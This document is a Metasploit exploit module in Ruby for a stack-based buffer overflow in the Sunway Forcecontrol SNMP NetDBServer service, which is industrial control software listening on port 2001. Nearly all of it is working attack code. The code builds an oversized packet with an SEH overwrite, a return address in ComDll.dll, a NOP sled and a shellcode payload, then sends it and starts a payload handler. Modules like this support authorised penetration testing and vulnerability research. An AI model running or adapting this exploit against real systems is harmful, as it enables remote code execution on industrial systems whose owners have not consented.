Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow found in the SNMP
                NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
                triggered when sending an overly long string to the listening service
                on port 2001.
            },
            'Author'         => [
                        'Luigi Auriemma', # original discovery
                        'Rinat Ziyayev',
                        'James Fitts'
                    ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'BID', '49747' ],
                    [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'DisableNops' => 'true',
                    'BadChars' => "\x0a\x0d\xae",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        # p/p/r ComDll.dll
                        'Windows', {  'Ret' => 0x100022c4 }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Sep 22 2011'))

        register_options(
            [
                Opt::RPORT(2001)
            ], self.class )
    end

    def exploit
        connect

        header =  "\xeb\x50\xeb\x50"
        header << "\x57\x00"  # packet type
        header << "\xff\xff\x00\x00"
        header << "\x01\x00"
        header << "\xff"

        footer = "\r\n"

        packet = rand_text_alpha_upper(65535)
        packet[0,header.length] = header
        packet[293,8] = generate_seh_record(target.ret)
        packet[301,20] = make_nops(20)
        packet[321,payload.encoded.length] = payload.encoded
        packet[65533,2] = footer

        print_status("Trying target %s..." % target.name)

        sock.put(packet)

        handler
        disconnect
    end

end